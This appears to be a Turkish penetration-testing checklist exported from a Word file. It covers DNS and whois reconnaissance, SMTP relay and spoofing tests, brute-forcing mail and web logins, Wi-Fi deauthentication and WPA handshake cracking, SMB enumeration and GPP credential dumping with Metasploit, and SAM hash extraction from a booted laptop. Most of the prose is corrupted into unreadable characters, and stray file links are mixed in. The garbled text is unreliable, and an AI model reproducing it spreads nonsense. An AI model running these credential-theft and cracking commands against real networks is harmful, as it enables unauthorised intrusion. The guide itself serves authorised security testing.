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5Ƥǒ !Ɛ DǸǾŜƴƭƛƪ ¢ŜǎǘƭŜǊƛ 

DNS 
 

Dnsenum kurum.com komutuyla ns, mx, ve zone transfer bilgileri tek komutla toplanabilir. 

Dnsmap kurum.com komutuyla ns,mx,mail ǾŜ ǎǳōŘƻƳŀƛƴ ōƛƭƎƛƭŜǊƛ ǘƻǇƭŀƴƤǊΦ 

IŜǊ ōƛǊ ŀŘƤƳƤ ŀȅǊƤ ŀȅǊƤ ŀǒŀƐƤŘŀƪƛ ƪƻƳǳǘƭŀǊƭŀ Řŀ ȅŀǇabilirsiniz. 

DNS Sunucunun belirlenmesi 
Dig ns kurum.com 

Nslookup -type=ns kurum.com 

 

Zone Transferi Testleri 
 Linux ve kali de Dig axfr @kurumdns.com 

Windows  nslookup 

server kurumdnsip 

set type=any 

ls -d kurumdns 

 

DNS Subdomain Tespiti 
Theharvester ŀǊŀŎƤ ƪǳƭƭŀƴƤƭŀǊŀƪ ƪǳǊǳƳŀ ŀƛǘ ƴǎΣŜǇƻǎǘŀΣ ǎǳōŘƻƳŀƛƴ ōƛƭƎƛƭŜǊƛ ǘƻǇƭŀƴƤǊΦ 

Theharvester -Ř ŘƻƳŀƛƴŀŘƤ -b all  

Dnsspider ŀǊŀŎƤ ƪǳƭƭŀƴŀǊŀƪ Řƴǎ ǎǳōŘƻƳŀƛƴƭŜǊŜ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ ȅŀǇŀōƛƭƛǊǎƛƴƛȊΦ 

 

YǳǊǳƳ Lt .ƭƻƪƭŀǊƤƴƤƴ ¢ŜǎǇƛǘƛ 
https://www.ripe.net/  sitesinden kuruma ait herhangi bir ip adresini girip blok tespit edilir. 

mǊƴŜƐƛƴ ƴǎƭƻƻƪǳǇ yaparak kurumun domain adresini yazarak, kuruma ait ip adresi tespit edilir. Daha 

ǎƻƴǊŀ ǊƛǇŜΦƴŜǘ ŀŘǊŜǎƛƴŘŜ άǎŜŀǊŎƘ ƛǇ ŀŘǊŜǎǎέ ōǀƭǸƳǸƴŜ ōǳ ƛǇ ŀŘǊŜǎƛ ȅŀȊƤƭŀǊŀƪ ǘǸƳ ƛǇ ŀŘǊŜǎ ŀǊŀƭƤƐƤ 

bulunur. 

 

Kurum Whois Bilgisi Tespiti 
ƪŀƭƛ ŘŜ άwhois kurumadi.comέ ƪƻƳǳǘǳȅƭŀ ƪǳǊǳƳ ǿƘƻƛǎ ƪŀȅŘƤ ōƛƭƎƛǎƛ ŀƭƤƴƤǊΦ 

Kuruma ait ǘǸƳ ōƛƭƎƛ ǘƻǇƭŀƳŀ ƛǒƭŜƳƛƴƛ ŀǒŀƐƤŘŀƪƛ ŀǊŀœƭŀǊƭŀ ǘƻǇƭŀȅŀōƛƭƛǊǎƛƴƛȊΦ 

sniper, recon-ng  
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E-Posta Testleri 

E-tƻǎǘŀ .ŀǒƭƤƪ !ƴŀƭƛȊƛ 
Kurumdan gelen e-Ǉƻǎǘŀ ōŀǒƭƤƪƭŀǊƤ ŀƭƤƴŀǊŀƪ mxtoolbox sitesinde bulunan ƘŜŀŘŜǊ ŀƴŀƭȅȊŜǊ ƪǳƭƭŀƴƤƭƤǊΦ 

Mxtoolbox header analyzer ƪǳƭƭŀƴƤƭŀǊŀƪ ƪǳǊǳƳǳƴ Ŝ-Ǉƻǎǘŀ ǘǊŀŦƛƐƛ ƛƴŎŜƭŜƴƛǊΣ ƛœ ƛǇ ōƛƭƎƛƭŜǊƛ ǎƤȊŘƤǊƤƭƤȅƻǊ ƛǎŜ 

bu bilgi not edilir. 

 

Sahte E-tƻǎǘŀ 9ǊƛǒƛƳ ǘŜǎǘƭŜǊƛ 
ƪǳǊǳƳǳƴ ƪŜƴŘƛ ŀƭŀƴ ŀŘƤƴŘŀƴ Ƴŀƛƭ ŀƭƤǇ ŀƭƳŀŘƤƐƤ ǘŜǎǘ ŜŘƛƭƛǊΦ 

ǘŜƭƴŜǘ ƪǳǊǳƳƳȄƪŀȅŘƤ нр 

ehlo 

mail from: test@kurum.com 

rcpt to: test@kurum.com 

Relay testi: 

ǘŜƭƴŜǘ ƪǳǊǳƳƳȄƪŀȅŘƤ нр 

ehlo 

mail from: test@test.com 

rcpt to: test@test.com.tr 

ǊŜƭŀȅ ŘŜƴƛŜŘ ƎŜƭƳƛȅƻǊǎŀ ǊŜƭŀȅ ŀœƤƪǘƤǊΦ 

 

E-tƻǎǘŀ {ǳƴǳŎǳ ½ŀȅƤŦƭƤƪ ǘŜǎǘƭŜǊƛ 
e-Ǉƻǎǘŀ ǎǳƴǳŎǳǎǳƴǳƴ ǾŜǊǎƛȅƻƴǳ ǘŜǎǇƛǘ ŜŘƛƭƛǊΦ ±ŜǊǎƛȅƻƴ Řŀ ȊŀŦƛȅŜǘ ƻƭǳǇ ƻƭƳŀŘƤƐƤ nessus ile tespit edilir. 

Yŀƭƛ ŘŜ ƪǳǊŘǳƐǳƳǳȊ ǇƻǎǘŦƛȄ ǸȊŜǊƛƴŘŜƴ ȅƻƐǳƴ ǎǇŀƳ Ƴŀƛƭ ƎǀƴŘŜǊƛƳƛ ȅŀǇƤƭƤǊΦ 

YŀƭƛŘŜ ƪǳǊŘǳƐǳƳǳȊ ǇƻǎǘŦƛȄ ǸȊŜǊƛƴŘŜƴ ȊŀǊŀǊƭƤ ŜȄŜ ƛœŜǊŜƴ ǇŘŦ ŘƻǎȅŀǎƤ ƎǀƴŘŜǊƛƭƛǊ 

.ǸȅǸƪ ŘƻǎȅŀƭŀǊ ƎǀƴŘŜǊƛƭƛǊ. 

 

E-tƻǎǘŀ ƘŜǎŀǇƭŀǊƤ ǒƛŦǊŜ ǘŜǎǘƭŜǊƛ 
Kurum smtp sunucusundŀ ǇƻǇо όммлΣффрύΣ La!t όмпоΣффоύΣ ƘǘǘǇόǎύ όулΣппоύ ǇƻǊǘƭŀǊƤƴ ŀœƤƪ ƻƭǳǇ 

ƻƭƳŀŘƤƐƤ ǘŜǎǇƛǘ ŜŘƛƭƛǊΦ 

 ŀȅŜǘ ǇƻǇо ǾŜȅŀ ƛƳŀǇ ǇƻǊǘƭŀǊƤ ŀœƤƪ ƛǎŜ hydra ƛƭŜ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤƭŀǊƤ ŘǸȊŜƴƭŜƴƛǊΦ 

EȄŎƘŀƴƎŜ ƻǿŀ ƛœƛƴ metasploit ŘŜ άƻǿŀψƭƻƎƛƴέ ƳƻŘǸƭǸ ƪǳƭƭŀƴƤƭƤǊΦ  

5ƛƐŜǊ ǿŜō ƭƻƎƛƴ ƛœƛƴ burpsuite veya zapproxy ƪǳƭƭŀƴƤƭƤǊΦ 

Hydra, burpsuite veya zapproxy ile kaba kuvvet testleri ȅŀǇƤƭƤǊΦ 

 ƛŦǊŜ ǸǊŜǘƳŜƪ ƛœƛƴ ŎǳǇǇ ǾŜȅŀ crunch ŀǊŀŎƤ ƪǳƭƭŀƴƤƭŀōƛƭƛǊΦ 

file:///C:/Users/b2h/AppData/Roaming/Microsoft/Word/Penetrasyon%20Testi%20Adımları12022018.docx%23Mxtoolbox:
mailto:test@kurum.com
mailto:test@kurum.com
mailto:test@test.com
mailto:test@test.com.tr
Penetrasyon%20Testi%20Adımları12022018_v2.docx#Nessus:
Penetrasyon%20Testi%20Adımları12022018_v2.docx#Hydra:
Penetrasyon%20Testi%20Adımları12022018_v2.docx#Metasploit:
Penetrasyon%20Testi%20Adımları12022018_v2.docx#Burp:
Penetrasyon%20Testi%20Adımları12022018_v2.docx#Zaproxy:
Penetrasyon%20Testi%20Adımları12022018_v2.docx#Crunch:


E-tƻǎǘŀ {ǳƴǳŎǳ ½ŀǊŀǊƭƤ ȅŀȊƤƭƤƳ ǘŜǎǘƭŜǊƛ 
Setoolkit ƛƭŜ ǇŘŦ ȊŀǊŀǊƭƤ ȅŀȊƤƭƤƳ ƻƭǳǒǘǳǊǳƭǳǊ ǾŜ ƪǳǊǳƳun ǘŜǎǘ ŜǇƻǎǘŀ ŀŘǊŜǎƛƴŜ ƎǀƴŘŜǊƛƭƛǊΦ 

 

Blacklist Kontrolleri 
Mxtoolbox ǎƛǘŜǎƛƴŘŜ ōǳƭǳƴŀƴ ōƭŀŎƪƭƛǎǘ ƪƻƴǘǊƻƭǸ ȅŀǇƤƭƤǊΦ 

 

TƴǘŜǊƴŜǘŜ ŀœƤƪ ǎƛǎǘŜƳƭŜǊƛƴ IŀǊƛǘŀƭŀƴƳŀǎƤ 

TƴǘŜǊƴŜǘŜ ŀœƤƪ ǎŜǊǾƛǎƭŜǊƛƴ ǘŜǎǇƛǘ ŜŘƛƭƳŜǎƛ 
Nmap veya  nessus ǘŀǊŀƳŀǎƤ ƛƭŜ ōǳ ƛǒƭŜƳ ƎŜǊœŜƪƭŜǒǘƛǊƛƭƛǊΦ 

 

{ŜǊǾƛǎƭŜǊƛƴ ½ŀȅƤŦƭƤƪƭŀǊƤƴƤƴ ǘŜǎǘƭŜǊƛ 
Nmap ve ƴŜǎǎǳǎ ǘŀǊŀƳŀǎƤ ƛƭŜ ƎŜǊœŜƪƭŜǒǘƛǊƛƭƛǊΦ 

 

{ŜǊǾƛǎƭŜǊŜ  ƛŦǊŜ ǘŜǎǘƭŜǊƛ 
Hydra, metasploit, burpsuite veya zapproxy ile kaba kuvvet testleri ƎŜǊœŜƪƭŜǒǘƛǊƛƭƛǊΦ 

 

YǳǊǳƳ 4ŀƭƤǒŀƴƭŀǊƤƴƤƴ ǘŜǎǇƛǘƛ 
Linkedin veya ƪǳǊǳƳ ǿŜō ǎŀȅŦŀǎƤndan tespit edilebilir. 

 

Kurum Web sitesi ve Uygulama Testleri 
YǳǊǳƳǳƴ ƛƴǘŜǊƴŜǘŜ ŀœƤƪ ǎƛǘŜƭŜǊƛ ŀǒŀƐƤŘŀƪƛ ŀǊŀœƭŀǊƭŀ ǘŀǊŀƳŀ ƛǒƭŜƳƛ ƎŜǊœŜƪƭŜǒǘƛǊebilirsiniz. 

Acunetix, Dirb, wfuzz, Arachni, Nikto, commix, sqlmap, Fimap, Brutex, davtest, wpsscan (sayfa 

wordpress ise) 
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Tœ !Ɛ DǸǾŜƴƭƛƪ ¢ŜǎǘƭŜǊƛ 
 

Tœ !Ɛ .ƛƭƎƛ ¢ƻǇƭŀƳŀΥ 

Domain Controller ve DNS sunucu tespiti: 
YǳǊǳƳ ŀƐƤƴŀ ōŀƐƭŀƴƤǊ ōŀƐƭŀƴƳŀȊ ƛƭƪ ȅŀǇƤƭŀŎŀƪ ƛǒƭŜƳ ƪǳǊǳƳǳƴ Řƴǎ ǎǳƴǳŎǳǎǳ ǘŜǎǇƛǘ ŜŘƛƭƛǊΦ YǳǊǳƳŘŀ 

aƛŎǊƻǎƻŦǘ ŘƻƳŀƛƴ ŀƭǘȅŀǇƤǎƤ ǾŀǊ ƛǎŜΣ ŘƻƳŀƛƴ ǎǳƴǳŎǳƴǳƴ ǸȊŜǊƛƴŜ Řƴǎ ǊƻƭǸƴǸƴ ƪǳǊǳƭƳŀǎƤ ȊƻǊǳƴƭǳ ƻƭŘǳƐǳ 

ƛœƛƴ ǘŜǎǇƛǘ ŜǘǘƛƐƛƴƛȊ Řƴǎ ǎǳƴǳŎǳsu ŀȅƴƤ ȊŀƳŀƴŘŀ ŘƻƳŀƛƴ sunuculardan biri ƻƭŀŎŀƪǘƤǊΦ 

bǎƭƻƻƪǳǇ ƪƻƳǳǘǳ ƪǳƭƭŀƴƤƭŘƤƐƤƴŘŀ Řƴǎ ǎǳƴǳŎǳ ǎƛȊŜ ȅŀƴƤǘ ǾŜǊecektir. 

  

Networkteki sistemlerin tespit edilmesi. 
Nmap ƛƭŜ ǾŀǊƭƤƪƭŀǊƤƴ ƘŀƴƎƛ ƛǒƭŜǘƛƳ ǎƛǎǘŜƳƛ ǸȊŜǊƛƴŘŜ œŀƭƤǒǘƤƐƤΣ ǳȅƎǳƭŀƳŀ ǾŜ ǳȅƎǳƭŀƳŀƴƤƴ ǾŜǊǎƛȅƻƴ ōƛƭƎƛǎƛΣ 

hangi servisƭŜǊƛƴ œŀƭƤǒǘƤƐƤΣ ƘŀƴƎƛ ǇƻǊǘƭŀǊƤƴ ŀœƤƪ ƻƭŘǳƐǳ Ǝƛōƛ ōƛǊœƻƪ ōƛƭƎƛȅi tespit edilir. 

 

¢ŜǎǇƛǘ ŜŘƛƭŜƴ ǎƛǎǘŜƳ ǾŜ ŎƛƘŀȊƭŀǊƤƴ ǊƻƭƭŜǊƛΦ 
bƳŀǇ ƛƭŜ ǇƻǊǘ ǾŜ ǎŜǊǾƛǎ ōƛƭƎƛǎƛƴŘŜƴ ƘŀƴƎƛ ǊƻƭŜ ǎŀƘƛǇ ƻƭŘǳƐǳ ǘŜǎǇƛǘ ŜŘƛƭŜōƛƭƛǊΦ 

aŜǘŀǎǇƭƻƛǘ ƛƭŜ aƛŎǊƻǎƻŦǘ ǎƛǎǘŜƳƭŜǊƛ ƛœƛƴ ŀǒŀƐƤŘŀƪƛ ŀŘƤƳƭŀǊ ƪǳƭƭŀƴƤƭƤǊΦ 

aŜǘŀǎǇƭƻƛǘ ŀœƤƭƤǊ όƳǎŦŎƻƴǎƻƭŜύ 

use auxiliary/scanner/smb/smb_version ƳƻŘǸƭǸ ƛƭŜ ƛœŜǊƛŘŜ ǎƳō ǇƻǊǘǳ ǸȊŜǊƛƴŘŜƴ aƛŎǊƻǎƻŦǘ ǎǳƴǳŎǳ 

ǾŜ ōƛƭƎƛǎŀȅŀǊƭŀǊƤƴ ƘŀƴƎƛ ƛǒƭŜǘƛƳ ǎƛǎǘŜƳƛ ƪǳƭƭŀƴŘƤƐƤΣ ƘŀƴƎƛ ŘƻƳŀƛƴ ǾŜȅŀ œŀƭƤǒƳŀ ƎǊǳōǳƴŀ ōŀƐƭƤ ƻƭǳǇ 

ƻƭƳŀŘƤƐƤ ǘŜǎǇƛt edilir. 

 

YŀōƭƻǎǳȊ !Ɛ ¢ŜǎǘƛΥ 
YŀōƭƻǎǳȊ ŀƐ ŎƛƘŀȊƤ ƪŀƭƛȅŜ ōŀƐƭŀƴƤǊΣ  

TǿŎƻƴŦƛƎ ƪƻƳǳǘǳȅƭŀ ƪŀōƭƻǎǳȊ ŀƐ ŘƻƴŀƴƤƳƤ ƪƻƴǘǊƻƭ ŜŘƛƭƛǊΦ 

airmon-ng start wlan0 ƪƻƳǳǘǳ ƪǳƭƭŀƴƤƭŀǊŀƪ ƳƻƴƛǘǀǊ ƳƻŘŀ ŀƭƤƴƤǊΦ 

!œƤƪ ƻƭŀƴ ǎŜǊǾƛǎƭŜǊ ƪƛƭƭ ƪƻƳǳǘǳȅƭŀ ƪŀǇŀǘƤƭƤǊΦ 

airodump-ng wlan0mon ƪƻƳǳǘǳȅƭŀ ƪŀōƭƻǎǳȊ ŀƐ ŎƛƘŀȊƭŀǊƤƴƤƴ ǎǎƛŘΣ ǒƛŦǊŜƭŜƳŜ ǘǸǊǸΣ ƪŀōƭƻǎǳȊ ŀƐŀ ōŀƐƭƤ 

istemciler tespit edilir. 

 



IŀƴƎƛ ǿƛŦƛ ŀƐƤ ƘŜŘŜŦ ŀƭƤƴaŎŀƪǎŀ ƻ ǿƛŦƛ ŀƐƤƴŀ ŀƛǘ ōǎǎƛŘ ȅŀȊƤƭŀǊŀƪ ǘǊŀŦƛƪ ŘǳƳǇ ŜŘƛƭƛǊΦ  

airodump-ng --bssid 00:02:61:b8:a0:72 -w /root/Desktop/c su_wifi wlan0mon  

 

5ŀƘŀ ǎƻƴǊŀ ŘŜŀǳǘƘŜƴǘƛŎŀǘƛƻƴ ǇŀƪŜǘƛ ƎǀƴŘŜǊƛƭŜǊŜƪ ƘŜŘŜŦ ƪƛǒƛƴƛƴ ƪŀōƭƻǎǳȊ ŀƐŘŀƴ ŘǸǒǸǇ ǘŜƪǊŀǊ 

ōŀƐƭŀƴƳŀǎƤ ǎŀƐƭŀƴƤǊΦ  

aireplay-ng  -a 00:02:61:b8:a0:72 wlan0mon -0 0 -c 0C:8B:FD:4B:9E:11 

 ƛŦǊŜƴƛƴ ƪƤǊƤƭƳŀǎƤΥ 

5ŜŀǳǘƘŜƴǘƛŎŀǘƛƻƴ ǇŀƪŜǘƛ ǎƻƴǊŀǎƤ ŎƭƛŜƴǘ ǘŜƪǊŀǊ ōŀƐƭŀƴŘƤƐƤƴŘŀ aerodump-ƴƎ ŜƪǊŀƴƤƴŘŀ άǿǇŀ 

ƘŀƴŘǎƘŀƪŜέ ōƛƭƎƛǎƛ ƎŜƭƛǊΦ .ǳ ōƛƭƎƛ handshake paketinin yakalanŘƤƐƤƴƤ ƎǀǎǘŜǊƛǊΦ 5ǳƳǇ ƛǒƭŜƳƛ ŘǳǊŘǳǊǳƭǳǇ 

dŀƘŀ ǎƻƴǊŀ ŘǳƳǇ ŜŘƛƭŜƴ ŎŀǇ ŘƻǎȅŀǎƤƴŀ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ ŘŜƴŜƴƛǊΦ 

aircrack-ng /root/Desktop/csu_wifi -01.cap -w /root/Desktop/rockyou.txt 

 

½ŀȅƤŦƭƤƪ ¢ŀǊŀƳŀ 

¢ŜǎǇƛǘ ŜŘƛƭŜƴ ǎŜǊǾƛǎ ǾŜ ǎƛǎǘŜƳƭŜǊƛƴ ȊŀȅƤŦƭƤƪƭŀǊŀ ƪŀǊǒƤ ǘŜǎǘ ŜŘƛƭƳŜǎƛ 

Nessus ƪǳƭƭŀƴƤƭŀǊŀƪ ȊŀŦƛȅŜǘ ǘŀǊŀƳŀǎƤ ȅŀǇƤƭƤǊΦ 

bŜǎǎǳǎ ǸȊŜǊinden tespit edilen zafiyetler metasploit ǾŜȅŀ ŎƻǊŜ ƛƳǇŀŎǘ ƪǳƭƭŀƴƤƭŀǊŀƪ ǎƛǎǘŜƳ ŘŜ Ƙŀƪ ŜƭŘŜ 

ŜŘƛƭƳŜȅŜ œŀƭƤǒƤƭƤǊΦ 

 

{ƤȊƳŀ 

5ƻƳŀƛƴ ƪǳƭƭŀƴƤŎƤ ŜƭŘŜ ŜǘƳŜΥ 
{ƤȊƳŀ ǘŜǎǘƭŜǊƛƴŘŜ Ŝƴ ǀƴŜƳƭƛ ōŀǒƭƤƪƭŀǊŘŀƴ ōƛǊ ǘŀƴŜǎƛ ŘƻƳŀƛƴ ƪǳƭƭŀƴƤŎƤǎƤƴƤƴ ŜƭŘŜ ŜŘƛƭƳŜǎƛΦ  ŀȅŜǘ ōƛǊ 

ŘƻƳŀƛƴ ƪǳƭƭŀƴƤŎƤǎƤ ŜƭŘŜ ŜŘƛƭŘƛƐƛ ǘŀƪŘƛǊŘŜΣ ǘǸƳ ŘƻƳŀƛƴ ƪǳƭƭŀƴƤŎƤƭŀǊƤƴƤƴ domain controller da okuma 

ƘŀƪƪƤƴŀ ǎŀƘƛǇ ƻƭŘǳƐǳ ƛœƛƴΣ !Ř 9ȄǇƭƻǊŜǊ ŀǊŀŎƤ ƛƭŜ ǘǸƳ ŘƻƳŀƛƴ ȅŀǇƤǎƤ ƎǀǊǸƴǘǸƭŜƴƛǊ. 

¸ǀƴǘŜƳ мΥ .ǳ ƛǒƭŜƳ ƛœƛƴ Ŏŀƛƴ ϧ !ōŜƭ ƪǳƭƭŀƴƤƭƤǊΦ !Ɛ Řŀ ōǳƭǳƴŀƴ ƪǳƭƭŀƴƤŎƤƭŀǊ ƛƭŜ ƎŀǘŜǿŀȅ ŀǊŀǎƤƴŀ ƎƛǊƛƭŜǊŜƪ 

ǘǸƳ ŀƐ ǘǊŀŦƛƐƛƴƛƴ ǎƛȊƛƴ ǸȊŜǊƛƴƛȊŘŜƴ ƎƛǘƳŜǎƛ ǎŀƐƭŀƴƤǊΦ .ǀȅƭŜƭƛƪƭŜ ŘƻƳŀƛƴ ƪǳƭƭŀƴƤŎƤƭŀǊƤƴƤƴ ŘƻƳŀƛƴ 

controllera veya e-Ǉƻǎǘŀ ǎǳƴǳŎǳǎǳƴŀ ƻǘǳǊǳƳ ŀœƳŀ ǎƤǊŀǎƤƴŘŀ ŀƐ Řŀ ƎƛŘŜŎŜƪ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǒƛŦǊŜƭŜǊ ŀœƤƪ 

veya hashli olarak elde edilebilecektir. 

¸ǀƴǘŜƳнΥ 5ƻƳŀƛƴ ƪǳƭƭŀƴƤŎƤǎƤ ŜƭŘŜ ŜǘƳŜƴƛƴ ŘƛƐŜǊ ȅǀƴǘŜƳƛ ƛǎŜ ȅŀȊƤŎƤƭŀǊŘŀ ǘŀƴƤƳƭŀƴƳƤǒ Ŝ-posta 

ƎǀƴŘŜǊƛƳƛ ƛœƛƴ ƛȊƛƴ ǾŜǊƛƭŜƴ ƪǳƭƭŀƴƤŎƤƭŀǊ ƻƭŀōƛƭƛǊΦ ¸ŀȊƤŎƤ ƪƻƴŦƛƎǸǊŀǎȅƻƴǳƴŀ ŜǊƛǒƛƳ ǎŀƐƭŀƴŀǊŀƪ ǘŀƴƤƳƭƤ 

Penetrasyon%20Testi%20Adımları12022018_v2.docx#Nessus:
Penetrasyon%20Testi%20Adımları12022018_v2.docx#Metasploit:


ƘŜǊƘŀƴƎƛ ōƛǊ ƪǳƭƭŀƴƤŎƤ ƻƭǳǇ ƻƭƳŀŘƤƐƤ ƪƻƴǘǊƻƭ ŜŘƛƭƛǊΦ  ƛŦǊŜǎƛ ƎƛȊƭƛ ƻƭŀǊŀƪ ǘŀƴƤƳƭƤ ƪǳƭƭŀƴƤŎƤƭŀǊ ƛœƛƴ ƪŜƴŘƛ 

ǎǳƴǳŎǳƴǳȊŀ ƪǳǊŀōƛƭŜŎŜƐƛƴƛȊ ƭŘŀǇ ǎŜǊǾƛǎƛ ǎŀȅŜǎƛƴŘŜ ǒƛŦǊŜ ŀœƤƪ ƻƭŀǊŀƪ ŜƭŘŜŜŘƛƭŜōƛƭƛǊΦ .ǳƴǳƴ ƛœƛƴ printerdaki 

ƪƻƴŦƛƎǸǊŀǎȅƻƴŘŀ ƭŘŀǇ ǎǳƴǳŎǳǎǳ ƻƭŀǊŀƪ ƪŜƴŘƛ ƳŀƪƛƴŜƴƛȊƛ ǘŀƴƤƳƭŀƳŀƴƤȊ ƘŀƭƛƴŘŜΣ ǇǊƛƴǘŜǊ ƭŘŀǇ ǘŜǎǘƛ ƛœƛƴ 

sizin sunucuya ōŀƐƭŀƴŀŎŀƪ ǾŜ ǒƛŦǊŜȅƛ ǎƛȊŜ ƎǀƴŘŜǊŜŎŜƪǘƛǊΦ 

 ̧ ǀƴǘŜƳ оΥ  ƘŜǊƪŜǎŜ ŀœƤƪ ǇŀȅƭŀǒƤƳƭŀǊΦ !ƴƻǳƳƻǳǎ ƻƭŀǊŀƪ ŀœƤƭŀƴ ǇŀȅƭŀǒƤƳ ƪƭŀǎǀǊƭŜǊƛƴŘŜ ǘŀƴƤƳƭƤ ƪǳƭƭŀƴƤŎƤ 

ŀŘƤ ǾŜ ǒƛŦǊŜƭŜǊ ǘŜǎǇƛǘ ŜŘƛƭƳŜȅŜ œŀƭƤǒƤƭƤǊΦ .ǳƴǳƴ ƛœƛƴ ƳŜǘŀǎǇƭƻƛǘ ŘŜ ōǳƭǳƴŀƴ ŀǒŀƐƤŘŀƪƛ ƳƻŘǸƭ ƪǳƭƭŀƴƤƭƤǊΦ 

use auxiliary/scanner/smb/smb_enumshares 

set SpiderShares true ƪƻƳǳǘǳȅƭŀ ǇŀȅƭŀǒƤƳƤƴ ŀƭǘ ƪƭŀǎǀǊƭŜǊƛƴŜ ŜǊƛǒƛƳ ǎŀƐƭŀƴƤǊΦ 

Set showfiles true ƪƻƳǳǘǳȅƭŀ ƘŀƴƎƛ ŘƻǎȅŀƭŀǊƤƴ ƻƭǳǇ ƻƭƳŀŘƤƐƤ ǘŜǎǇƛǘ ŜŘƛƭƛǊΦ 

¸ǀƴǘŜƳ пΥ 5ƻƳŀƛƴ ƪǳƭƭŀƴƤŎƤƭŀǊƤƴŀ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ ȅŀǇƤƭŀǊŀƪ ȊŀȅƤŦ ǇŀǊƻƭŀ ƪǳƭƭŀƴŀƴ ƪǳƭƭŀƴƤŎƤƭŀǊ ǘŜǎǇƛǘ 

ŜŘƛƭƛǊΦ .ǳƴǳƴ ƛœƛƴ ƳŜǘŀǎǇƭƻƛǘ ŘŜ ōǳƭǳƴŀƴ ŀǒŀƐƤŘŀƪƛ ƳƻŘǸƭ ƪǳƭƭŀƴƤƭƤǊΦ 

use auxiliary/scanner/smb/smb_login 

Domain ƪǳƭƭŀƴƤŎƤǎƤ ŜƭŘŜ ŜŘƛƭŘƛƪǘŜƴ ǎƻƴǊŀ AŘ 9ȄǇƭƻǊŜǊ ŀœƤƭƤǊ ǾŜ ŘƻƳŀƛƴ ƪƻƴǘǊƻƭƭŜǊ ƛǇ ŀŘǊŜǎƛΣ ƪǳƭƭŀƴƤŎƤ ŀŘƤ 

ǾŜ ǒƛŦǊŜ ƛƭŜ ǘǸƳ ŘƻƳŀƛƴ ȅŀǇƤǎƤ ǘŜǎǇƛǘ ŜŘƛƭƛǊΦ 

5ƻƳŀƛƴ ƪǳƭƭŀƴƤŎƤƭŀǊƤΣ ŀƪǘƛŦ ŘƛȊƛƴ ŘŜ ōǳƭǳƴŀƴ ǎȅǎǾƻƭ ŘƻǎȅŀǎƤƴƤ ƻƪǳƳŀ ƘŀƪƪƤƴŀ ǎŀƘƛǇǘƛǊƭŜǊΦ {ȅǎȅǾƻƭ 

ŘƻǎȅŀǎƤƴƤƴ ŀƭǘƤƴŘŀ ǘŀƴƤƳƭƤ ƎǊƻǳǇ ǇƻƭƛŎȅƭŜǊŜ ŜǊƛǒƛƳ ǎŀƐƭŀƴŀōƛƭƛǊΦ 

use auxiliary/scanner/smb/smb_enum_gpp ƳƻŘǸƭǸ ƛƭŜ ŘƻƳŀƛƴ ŘŜ ƪǳƭƭŀƴƤƭŀƴ ƎǊǳǇ ǇƻƭƛŎȅƭŜǊŘŜ ƪŀȅƤǘƭƤ 

ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǒƛŦǊŜƭŜǊ ǾŀǊ ƛǎŜ ƻƴƭŀǊ ǘŜǎǇƛǘ ŜŘƛƭƛǊΦ 

5ƻƳŀƛƴ ǒƛŦǊŜ ǇƻƭƛǘƛƪŀǎƤƴƤƴ ƪƻƴǘǊƻƭǸΥ  

 ŀȅŜǘ ōƛǊ ŘƻƳŀƛƴ ƪǳƭƭŀƴƤŎƤǎƤƴƤƴ ǇǊƻǎŜǎƛƴŜ ƳƛƎǊŀǘŜ ŜǘǘƛȅǎŜƴƛȊΣ ŀǒŀƐƤŘŀƪƛ ƪƻƳǳǘ ƪǳƭƭŀƴƤƭŀǊŀƪ ŘƻƳŀƛƴ ŘŜƪƛ 

ǒƛŦǊŜ ǇƻƭƛǘƛƪŀǎƤ ƪƻƴǘǊƻƭ ŜŘƛƭƛǊΦ 

Net accounts /domain 

 

YǳƭƭŀƴƤŎƤ .ƛƭƎƛǎŀȅŀǊƤƴƤ ¢Ŝǎǘ 9ǘƳŜΥ 
Kurumdan domainde bulunan personele verilen bir bilgisayar istenir. 

BLh{ ŀȅŀǊƭŀǊƭŀǊƤ ƪƻƴǘǊƻƭ ŜŘƛƭŜǊŜƪΣ ōƛƻǎ ŀ ǒƛŦŜ ƪƻƴƳǳǒ Ƴǳ ƪƻƴǘǊƻƭ ŜŘƛƭƛǊΦ .Lh{ Řŀƴ ƛœŜǊƛǎƛƴŘŜ ōƻƻǘŀōƭŜ 

kali olan usb ile bilgisayar boot edilir.  

!ǒŀƐƤŘŀƪƛ bkhive ve samdump2 komutlarƤ œŀƭƤǒǘƤǊƤƭŀǊŀƪ ƭƻƪŀƭ ƘŀǎƘƭŜǊ ŀƭƤƴƤǊΦ 

²ƛƴŘƻǿǎ ǇŀǊǘƛǘƛƻƴ ƻƭŀǊŀƪ κŘŜǾκǎŘŀм ƻƭŀǊŀƪ ƎŜƭŜƴ ōƛǊ ƪŀƭƛ ƳŀƪƛƴŀŘŀ ŀǒŀƐƤŘŀƪƛ ƪƻƳǳǘƭŀǊ œŀƭƤǒǘƤǊƤƭƤǊΦ 

# mkdir -p /mnt/sda1 

# mount /dev/sda1 /mnt/sda1 

# bkhive /mnt/sda1/Windows/System32/config/SYSTEM /tmp/saved-syskey.txt 

# samdump2 /mnt/sda1/Windows/System32/config/SAM /tmp/saved-syskey.txt > /tmp/hashes.txt 

IŀǎƘƭŜǊ ŀƭƤƴŘƤƪǘŀƴ ǎƻƴǊŀ ƘŀǎƘƭŜǊ ƪǳƭƭŀƴƤƭŀǊŀƪ ǎƳōψƭƻƎƛƴ ŘŜƴŜƳŜǎƛ ȅŀǇƤƭƤǊΦ 



Yŀōŀ YǳǾǾŜǘ {ŀƭŘƤǊƤƭŀǊƤȅƭŀ {ŜǊǾƛǎƭŜǊŜ ±ŀǊǎŀȅƤƭŀƴ YǳƭƭŀƴƤŎƤ !ŘƤ ǾŜ  ƛŦǊŜ 5ŜƴŜƳŜǎƛ ¸ŀǇƳŀƪΥ 
bƳŀǇ ƛƭŜ ŀœƤƪ ƻƭŀƴ ǇƻǊǘ ǾŜ ǎŜǊǾƛǎƭŜǊƛ ǘŜǎǇƛǘ ŜǘǘƛƪǘŜƴ ǎƻƴǊŀ ŀǒŀƐƤŘŀƪƛ ǎŜǊǾƛǎƭŜǊŜ ǾŀǊǎŀȅƤƭŀƴ ƪǳƭƭŀƴƤŎƤ ŀŘƤ 

